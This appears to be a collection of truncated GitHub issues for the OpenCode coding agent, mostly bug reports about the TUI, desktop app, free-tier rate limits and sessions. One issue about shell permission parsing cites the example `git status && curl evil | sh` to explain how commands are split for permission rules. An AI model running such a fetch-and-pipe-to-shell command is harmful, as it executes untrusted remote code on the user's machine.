### Description After interrupting a session while I had an active todo list (7 planned tasks) and then resuming that same session later, the todo-list panel in the TUI remains displayed in a frozen state : it keeps showing "0 tasks out of 7 done" and never recovers or clears itself. When a session is interrupted (user stops the agent mid-execution) and resu
### Description ``` TypeError: A.replace is not a function. (In 'A.replace(/\n$/,"")', 'A.replace' is undefined) at xG (/$bunfs/root/src/index.js:973:8249) at JY0 (/$bunfs/root/src/index.js:988:3553) at uc (/$bunfs/root/src/index.js:818:61318) at r9 (/$bunfs/root/src/index.js:818:61082) at aJ (/$bunfs/root/src/index.js:818:62935) at cc (/$bunfs/root/src/inde
### Description In the OpenCode desktop app (Windows), switching the design theme does not apply the selected theme's colors to regular text in the chat panel. Code blocks and diff panels update correctly, and list markers change color, but plain text and accent blocks (class member names, identifiers) remain white regardless of the selected theme. This may
### Description When creating a new session in the OpenCode Desktop app, the file tree cannot be shown at all. There is no file tree button anywhere on the new-session screen. With **New layout designs** enabled (the default), the desktop `/new-session` page renders only the prompt composer. The file tree (and its toggle button) do not exist on this page — n
## Summary TUI plugins stopped loading in the `next` nightly channel after builds that migrated TUI config into `cli.json`. Plugin entries in `tui.json` (string/tuple form) and `cli.json` (`{package, options}` form) are both ignored — the TUI runtime never attempts to load them. Adding the same plugin to the server config (`opencode.jsonc` `plugins`) makes t
## Description `SystemPrompt.provider()` in `packages/opencode/src/session/system.ts` selects the dedicated Kimi system prompt (`prompt/kimi.txt`, added in #20259 by Moonshot AI) only when the **model API id** contains the substring `kimi`: ```ts if (model.api.id.toLowerCase().includes("kimi")) return [PROMPT_KIMI] return [PROMPT_DEFAULT] ``` However, the of
## Summary When calling https://opencode.ai/zen/v1/chat/completions with model deepseek-v4-flash-free using plain curl (or any non‑official HTTP client), every direct API request I tried returns HTTP 429: ```json {"type":"error","error":{"type":"FreeUsageLimitError","message":"Error from provider (Console): Rate limit exceeded. Please try again later."}} ```
### Description Hello, I’d like to report a problem I encountered today. When the context length reaches around 85%, the bot is supposed to compact the context. However, it displays the message **“Free subscription used, come back in 1s”**, but nothing actually happens. If I start a new session, the bot works normally again until the context reaches the comp
## Summary An idle OpenCode TUI aborts with `SIGILL` (`ud2`) the instant the compositor scales the monitor up to 4. This has happened twice, weeks apart, on two OpenCode versions, at the **same instruction pointer** and on the **same second** as the scale-to-4 event. This is **not** a missing-CPU-feature SIGILL. The faulting instruction is a deliberate `ud2`
### Description Closing OpenCode Desktop on Linux can abort the Electron `node.mojom.NodeService` utility process while local-server cleanup is still running. `systemd-coredump` then processes a multi-gigabyte core; in one reproduction it reached a 4.7 GB memory peak and failed with `No space left on device`. The main process starts asynchronous sidecar clea
### Description Hi, I’m having an issue with the free models. When I use a VPN, both MiMo 2.5 Free and DeepSeek V4 Flash Free immediately show “Free usage limit reached,” even after just sending a single message. Without a VPN, they work normally. Thanks!
### Description Bad values for the config env vars kill opencode at startup with errors that don't say what's wrong ### Plugins _No response_ ### OpenCode version 1.18.15 ### Steps to reproduce ➜ opencode git:(dev) OPENCODE_CONFIG=/tmp/ opencode models Error: Unexpected error BadResource: FileSystem.readFile (/tmp/) ➜ opencode git:(dev) OPENCODE_CONFIG_DIR=/
## Problem Interrupting a running turn can take several seconds before the server settles the execution and projects its terminal state. In one observed run, shell/tool cancellation was timestamped at `16:33:49.400Z`, while the assistant terminal failure was not created until `16:34:00.946Z` and became visible around `16:34:01Z`. This is actual server-side s
## Feature Request: Show timestamp on permission prompts ### Description When OpenCode prompts for approval (e.g., "Do you want to allow this bash command?"), include the current date/time so the user has temporal context for the request. ### Use case Permission prompts currently show the tool name and arguments, but not **when** the request was made. For lo
## Summary The model does not know which agent (plan, build, or custom) it is running as, because the current agent identity is not included in the model's system prompt/context. It is only discoverable by querying the server API (GET /api/session returns an "agent" field per session). ## Environment - opencode version: v0.0.0-next-17163 - OS: Windows_NT 10.
## What Adopt the `anomalyco/opencode-drive` repo into this monorepo as two packages, and deploy the terminal catalog to `dev.opencode.ai/lab/catalog`. - `packages/drive` — the `opencode-drive` npm package (~24k lines TS): TUI driver, deterministic LLM, frame capture, recording, script runner, CLI. - `packages/lab/catalog` — the terminal-state catalog app (~
### Description on opencode free model tier, the deepseek and mimo are getting ratelimit error after using tools. the first tool call(search for example) get hit with ratelimit error. tested on 9router and omnirouter and the open code, after using 2 light task request(for example curling a site) it get hit with ratelimit even when the limits are not hit ###
## Problem `packages/drive/src/simulation/protocol.ts` duplicates the simulation wire contract in `packages/simulation/src/protocol/index.ts`. Server and TUI consume `@opencode-ai/simulation`, while Drive currently maintains a copied public schema. The copies have already drifted, including dynamic-tool progress shape and invocation context naming (`callID`
## Problem The adopted `opencode-drive` package remains independently versioned at `1.4.3`, but cannot safely publish from `anomalyco/opencode` yet. Current facts: - npm has one maintainer: `jlongster`. - Trusted publishing/provenance points to `anomalyco/opencode-drive/.github/workflows/publish.yml`. - The first destination release is `1.4.4` (pending speci
## Description When the `close-prs` workflow (`.github/workflows/close-prs.yml`) runs `bun script/github/close-prs.ts` and the script fails (GraphQL pagination error, token-scope error, unhandled exception), the workflow step fails silently. The error is buried in the full log with no visible `::warning::` annotation in the run summary. This makes diagnosing
### Description On Linux/Wayland, copying text from OpenCode and then suspending OpenCode with `Ctrl-Z` can leave the Wayland clipboard provider stopped. The result is that pasting into the same terminal after suspending OpenCode hangs indefinitely. This appears to happen because OpenCode spawns `wl-copy` in the same terminal process group. `wl-copy` then fo
OS: Windows 11 App: OpenCode Desktop Model: GLM 5.2 through Custom OpenAI-compatible provider Plugins: None OpenCode version: 1.18.17 Total Tokens: 56,323 out of 1,048,576 tokens Steps to reproduce: 1. Start chat 2. Assign a task like coding 3. Long code, like 1,350 to 1,950 lines of code It exits with the error "Not Found" and sometimes doesn't even start a
## Description Switching themes from the theme menu repeatedly causes the TUI to freeze. After the first successful theme change, a second consecutive theme change hangs the app — no keystrokes or UI updates are processed. The app only recovers if you tab out to another section (e.g. away from the theme menu) and tab back; then a theme change works once befo
Description After running out of my Deepseek v4 Flash credits, I purchased the OpenCode Go subscription. However, the system does not recognize my active subscription. It continuously prompts me to pay for OpenCode Go again and completely blocks my access to the Deepseek v4 Flash model, even though the payment has already been completed. Steps to reproduce C
## Feedback The Ctrl-A shortcut in the bottom right is misaligned. Fix this ## Catalog state - Screen: `session-picker` - Theme: `opencode` - Link: https://dev.opencode.ai/lab/catalog?mode=ui-elements&surface=modal&screen=session-picker&set=opencode
## 1. Row 13, column 76 this is wider than other modals, and has different horizontal padding. ## Catalog state - Screen: `debug` - Theme: `opencode` - Link: http://localhost:4187/?screen=debug&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoiZGVidWciLCJ2YXJpYW50Ijoib3BlbmNvZGUiLCJhbm5vdGF0aW9ucyI6W3siaWQiOiJjZTcxNTMxNy03YjgwLTQ0ZTctOTYwYy1hZjE3O
## 1. Row 12, column 54 this has different horizontal padding than other modals. ## Catalog state - Screen: `status` - Theme: `opencode` - Link: http://localhost:4187/?screen=status&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoic3RhdHVzIiwidmFyaWFudCI6Im9wZW5jb2RlIiwiYW5ub3RhdGlvbnMiOlt7ImlkIjoiNzNkZmVkM2UtYTJiZC00MTMzLTkxNWMtYjAwNWU3NGI0NmI1I
## 1. Row 15, column 66 this should probably just go away... it's not actually helpful. ## Catalog state - Screen: `help` - Theme: `opencode` - Link: http://localhost:4187/?screen=help&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoiaGVscCIsInZhcmlhbnQiOiJvcGVuY29kZSIsImFubm90YXRpb25zIjpbeyJpZCI6IjBmMzlkNjJkLTc3YTctNDFmZi1hOTM4LTgwMjM2MWQ4NzE2Ny
## Problem `ShellParse.scan` is the foundation of shell permissioning: it decomposes a command into per-subcommand resources so rules evaluate each piece (`git status && curl evil | sh` → three resources). It is backed by web-tree-sitter WASM (bash + powershell), and core uses tree-sitter for exactly this one feature. On workerd the parser cannot load at all
### Description OpenCode Desktop starts two instances of the same local (stdio) MCP server every time it restarts, instead of one. Confirmed with `ps -eo pid,ppid,lstart,command`: both server processes start at the identical timestamp, both parented under the same "OpenCode Helper (Utility)" process. Ruled out: - Config duplication - only one entry for the s
### Description A local MCP server that spawns a subprocess internally (in my case Python + Playwright, launching a Node driver + Chromium) hangs forever when the tool is called through OpenCode Desktop, but the exact same code and profile works correctly when run directly from a terminal. When hosted by Desktop: the call that should spawn the subprocess nev
### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request 当前如果单一会话中已经有多轮对话,如果要追溯之前某轮对话的输入提示词,则需要拖动滚动条或鼠标滚轮去翻找,非常麻烦,降低了工作效率。所以,非常希望能加入单一会话内的大纲级别预览和快速跳转功能。 ChatGPT已经有类似的功能,详见下方GIF动图: <img width="1280" height="592" alt="Image" src="https://gith
## Problem An intentionally downgraded Desktop cannot currently activate its bundled managed-service version when a newer service is already running. The current replacement predicate is directional: a newer client may replace an older service, but an older client may not replace a newer service. Desktop therefore fails with a version mismatch instead of com
### Feature hasn't been suggested before - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request The Chinese translation of the agents page (`packages/web/src/content/docs/zh-cn/agents.mdx`) is out of sync with the English version: - Missing the `Tools (deprecated)` marker and the
### Description Running `opencode -c` for the first time in a new directory (one with no prior sessions) displays a previous/old directory instead of the current one. The TUI resumes a session from a different directory. ### Steps to reproduce 1. Use opencode in directory A (creates sessions there) 2. `cd` to a new directory B 3. Run `opencode -c` 4. The TUI
## Summary When a tool call carries a **real** string-literal argument larger than roughly 30KB, the opencode client truncates the tool-call JSON **exactly at the end of the embedded content** (missing closing quote/brace), and the call fails with: ``` The arguments provided to the tool are invalid: Invalid input for tool <TOOL>: JSON parsing failed: Text: {
# Description ## Environment - opencode version: 1.18.17 - OS: macOS (darwin), TUI - Working directory: a git repo with a linked worktree (.worktrees/magazine-portfolio) - git config --global safe.directory = * ## Description After pressing /new in a directory that already has an associated project, the new session is created with projectID=global instead of
## Summary Snapshot capture writes into per-workspace snapshot git repositories under `~/.local/share/opencode/snapshot/<project.id>/<hash>`. When the service is restarted (including automatic `next` channel updates) mid-capture, the repository's `.git/index` is left corrupt (signature `0x00000000`). From then on every capture attempt fails with `Git.Operati
- [x] I have verified this feature I am about to request has not been suggested before. ## Describe the enhancement you want to request Add [opencode-sandbox](https://github.com/isanchez31/opencode-sandbox-plugin) to the ecosystem documentation. It provides OS-level sandboxing for agent-executed bash commands using seatbelt on macOS and bubblewrap on Linux.
### Description V2 creates a stable prompt cache key from the session ID, but that key does not reach every route The session runner only sets `providerOptions.openai.promptCacheKey`. This works for OpenAI Responses, but: - OpenRouter reads `providerOptions.openrouter.promptCacheKey`, so V2 OpenRouter requests omit `prompt_cache_key`. - Native OpenAI Chat do
### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## [Feature Request] Add a dedicated panel for viewing shell tool invocations by the agent ### Problem OpenCode’s built‑in shell tools (PowerShell, Bash, etc.) are extremely useful, b
**Title:** Session run defects are silently dropped — UI shows no error, session just goes idle ## Problem When a session run fails with an unexpected defect (e.g. a tool-load failure, a resolver error, a provider bug), **no error is surfaced in the UI at all**. The session transitions to idle as if it succeeded — the user gets no error message, nothing to i
### Description Chinese is not displayed on the screen when the commands are open. ### Plugins goopspec opencode-throughput opencode-firecrawl opencode-notificator opencode-tavily spec-driven-develop ### OpenCode version 1.18.18 ### Steps to reproduce 1.Open opencode. 2.Enter something in Chinese. 2.Press ctrl+p to open the commands. ### Screenshot and/or sh
## Summary this is almost entirely a Sol generated ticket. Not this line. It's not very good at capturing human pain. opencode2 migrated the database schema, and now in opencode the /move command is broken, I have a session trapped in a worktree. - /move fails because session_context_epoch is missing. - Workspace loading fails because workspace.project_id is
### Description ## TL;DR During LLM streaming, the syntax highlighting worker crashes with a WASM stack overflow in tree-sitter's `captures()`. Because the streaming code path doesn't update the text buffer independently of the highlight result, a worker crash leaves the displayed code frozen at an arbitrary position. The crash is content-deterministic — the
### Description With the new layout enabled, opening a valid direct route such as `/:dir/session` creates a draft for the correct directory, but does not add that directory to the browser's opened-project state. The composer works in the requested directory. After returning to Home, however, the directory is missing from Projects and the titlebar `+` button
## Summary OpenCode Desktop beta (Windows) can no longer load sessions after updating to the 0.0.0-next-17403 bundled sidecar. The sidecar server crashes on every database query with `Error: Path is not absolute: global` (and empty path), returning HTTP 500 for all `/api/*` endpoints — the app shows "Failed to load sessions" and sent user messages never appe
## Summary OpenCode Desktop beta (Windows): after sending a message, the user's own message text does not appear in the chat transcript, even though the message is received and stored server-side. Server logs show the desktop client calling `GET /api/session/<id>/message` with `limit=0`, which the API rejects with HTTP 400, so the message list never refreshe